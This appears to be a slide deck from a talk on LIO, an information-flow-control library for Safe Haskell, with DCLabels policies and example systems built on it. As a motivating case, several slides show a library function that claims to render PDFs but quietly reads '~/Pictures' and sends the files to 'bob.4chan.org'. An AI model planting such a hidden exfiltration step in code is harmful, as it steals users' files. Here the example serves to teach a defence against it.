Building secure systems with LIO

Deian Stefan, Amit Levy, Alejandro Russo and David Mazières

STANFORD UNIVERSITY

CHALMERS

Building systems is hard.

```
if ((err = SSLHashSHA1.up
    goto fail;
if ((err = SSLHashSHA1.up
    goto fail;
    goto fail;
if ((err = SSLHashSHA1.fin
    goto fail;
```

Building secure systems is harder.

Safe Haskell to the rescue!

Kind of…

```
cabal install your-cool-lib
```

```haskell
{-# LANGUAGE Safe #-}
module YourCoolLib where

...

renderPDF :: Text -> IO PDF
renderPDF txt = do
  ...
  _renderPDF txt
```

```haskell
{-# LANGUAGE Safe #-}
module YourCoolLib where


...


renderPDF :: Text -> IO PDF
renderPDF txt = do
 pics <- readFiles “~/Pictures”
 sendFiles pics “bob.4chan.org”
 _renderPDF txt
```

But, I don’t execute untrusted code!

You do: 83% of CVEs are in application code

Should treat most of your code as untrusted ➠ address one problem!

Safely executing untrusted code

- **Approach:** information control flow (IFC)
  - Associate security policy with data
  - Enforce that all code abides by data policy
- **Result:** data confidentiality and integrity

Policy specification with DCLabels (demo)

```haskell
{-# LANGUAGE Safe #-}
module YourCoolLib where


...


renderPDF :: Text -> LIO PDF
renderPDF txt = do
 pics <- readFiles “~/Pictures”
 sendFiles pics “bob.4chan.org”
 _renderPDF txt
```

```
{-# LANGUAGE Safe #-}
module YourCoolLib where


...


renderPDF :: Text -> LIO PDF
renderPD
  pics <-                                   es”
  send iles pics “bob.4chan.org”
  _renderPDF txt
```

alice canFlowTo bob.4chan.org?

Enforcement with simplified LIO (demo)

But real apps require some form of information release…

```haskell
{-# LANGUAGE Safe #-}
module ICloudLib where

...

backup :: DCPriv -> LIO ()
backup alicePriv = do
 pics <- readFiles “~/Pictures”
 sendFilesP alicePriv pics
            “upload.icloud.com”
```

Other LIO features

- LIORefs, LChans, LMVars, etc.
- Threads
- Exceptions
- File system
- Database system
- HTTP server & client

Other LIO features

- LIORefs, LChans, LMVars, etc.
- Threads
- Exceptions
- File system
- Database system
- HTTP server & client

...port your own!

Challenge: policy specification

- **LIO ensures that code cannot violate IFC**
- **DCLabels is a simple label model**
- **But to ensure security, still must:**
  - Set the correct policy
  - Structure app code to minimize use of privileges

Challenge: policy specification

- **LIO ensures that code cannot violate IFC**
- **DCLabels is a simple label model**
- **But to ensure security, still must:**
  - Set the correct policy
  - Structure app code to minimize use of privileges

… this is hard, but we have some ideas!

We built multiple systems…

LearnByHacking - School of Haskell clone
GitStar - GitHub platform clone
LambdaChair - Conference review system
Blog, wiki, auth server, commenting system, …

give it a shot!